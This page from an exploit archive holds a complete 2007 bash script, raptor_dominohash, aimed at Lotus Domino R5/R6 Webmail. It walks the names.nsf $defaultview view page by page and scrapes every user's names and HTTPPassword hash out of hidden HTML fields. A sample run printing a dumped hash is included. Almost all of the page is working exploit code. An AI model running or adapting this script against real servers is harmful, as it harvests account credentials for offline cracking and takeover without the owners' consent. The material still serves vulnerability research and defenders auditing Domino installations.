Sploitus

Lotus Domino <= R6 Webmail Remote Password Hash Dumper Exploit

seebug · 2007-02-13

Exploit Code

bash140 lines
## https://sploitus.com/exploit?id=SSV:13490
#!/bin/bash

#
# $Id: raptor_dominohash,v 1.3 2007/02/13 17:27:28 raptor Exp $
#
# raptor_dominohash - Lotus Domino R5/R6 HTTPPassword dump
# Copyright (c) 2007 Marco Ivaldi &lt;raptor@0xdeadbeef.info&gt;
#
# Lotus Domino R5 and R6 WebMail, with &quot;Generate HTML for all fields&quot; enabled, 
# stores sensitive data from names.nsf in hidden form fields, which allows 
# remote attackers to read the HTML source to obtain sensitive information such 
# as (1) the password hash in the HTTPPassword field, (2) the password change 
# date in the HTTPPasswordChangeDate field, (3) the client platform in the 
# ClntPltfrm field, (4) the client machine name in the ClntMachine field, and 
# (5) the client Lotus Domino release in the ClntBld field, a different 
# vulnerability than CVE-2005-2696 (CVE-2005-2428).
#
# According to testing, it's possible to dump all HTTPPassword hashes using the 
# $defaultview view instead of $users. This saves a considerable amount of time.
# 
# The code may require some changes to properly work with your configuration.
#
# See also:
# http://www.securiteinfo.com/outils/DominoHashBreaker.shtml
#
# Usage:
# $ ./raptor_dominohash 192.168.0.202
# [...]
# Extracting the view entries...
# Done! 656 unique entries have been found.
# Now ready to dump password hashes...
# [...]
# [http://192.168.0.202/names.nsf/$defaultview/00DA2289CC118A854925715A000611A3]
# FirstName:      Foo
# LastName:       Bar
# ShortName:      fbar
# HTTPPassword:   (355E98E7C7B59BD810ED845AD0FD2FC4)
# [...]
#
# Vulnerable platforms:
# Lotus Domino R6 Webmail [tested]
# Lotus Domino R5 Webmail [untested]
# Lotus Domino R4 Webmail? [untested]
#

# Some vars
i=1
tmp1=dominohash1.tmp
tmp2=dominohash2.tmp

# Command line
host=$1

# Local fuctions
function header() {
	echo &quot;&quot;
	echo &quot;raptor_dominohash - Lotus Domino R5/R6 HTTPPassword dump&quot;
	echo &quot;Copyright (c) 2007 Marco Ivaldi &lt;raptor@0xdeadbeef.info&gt;&quot;
	echo &quot;&quot;
}

function footer() {
	echo &quot;&quot;
	exit 0
}

function usage() {
	header
	echo &quot;usage  : ./raptor_dominohash &lt;host&gt;&quot;
	echo &quot;example: ./raptor_dominohash 192.168.0.202&quot;
	footer
}

function notfound() {
	header
	echo &quot;error  : curl not found&quot;
	footer
}

# Check if curl is there
curl=`which curl 2&gt;/dev/null`
if [ $? -ne 0 ]; then
	notfound
fi

# Input control
if [ -z &quot;$1&quot;  ]; then
	usage
fi

# Remove temporary files
rm -f $tmp1
rm -f $tmp2

header

# Extract the view entries
echo &quot;Extracting the view entries...&quot;
while :
do
	curl &quot;http://${host}/names.nsf/\$defaultview?Readviewentries&amp;Start=${i}&quot; 2&gt;/dev/null | grep unid &gt;&gt; $tmp1

	# Check grep return value
	if [ $? -ne 0 ]; then
		break
	fi

	# Go for the next page
	i=`expr $i + 30`
	echo -ne &quot;\b\b\b\b\b\b\b\b$i&quot;
done

cat $tmp1 | awk -F'unid=&quot;' '{print $2}' | awk -F'&quot;' '{print $1}' | sort | uniq &gt; $tmp2

# Check if some view entries have been found
if [ ! -s $tmp2 ]; then
	echo &quot;No entries found on host ${host}!&quot;
	footer
fi
echo -ne &quot;\b\b\b\b\b\b\b\bDone! &quot;
echo &quot;`wc -l ${tmp2} | awk '{print $1}'` unique entries have been found.&quot;
echo &quot;&quot;

# Perform the hash dumping
echo &quot;Now ready to dump password hashes...&quot;
echo &quot;&quot;
sleep 4
for unid in `cat $tmp2`
do
	echo &quot;[http://${host}/names.nsf/\$defaultview/${unid}]&quot;
	echo &quot;&quot;
	#curl &quot;http://${host}/names.nsf/\$defaultview/${unid}?OpenDocument&quot; 2&gt;/dev/null | egrep '&quot;FullName&quot;|&quot;HTTPPassword&quot;'
	curl &quot;http://${host}/names.nsf/\$defaultview/${unid}?OpenDocument&quot; 2&gt;/dev/null | egrep '&quot;FirstName&quot;|&quot;LastName&quot;|&quot;ShortName&quot;|&quot;HTTPPassword&quot;' | awk -F'input name=&quot;' '{print $2}' | awk -F'&quot; type=&quot;hidden&quot; value=&quot;' '{print $1 &quot;:\t&quot; $2}' | tr -d '&quot;&gt;'
	echo &quot;&quot;
done

footer

# sebug.net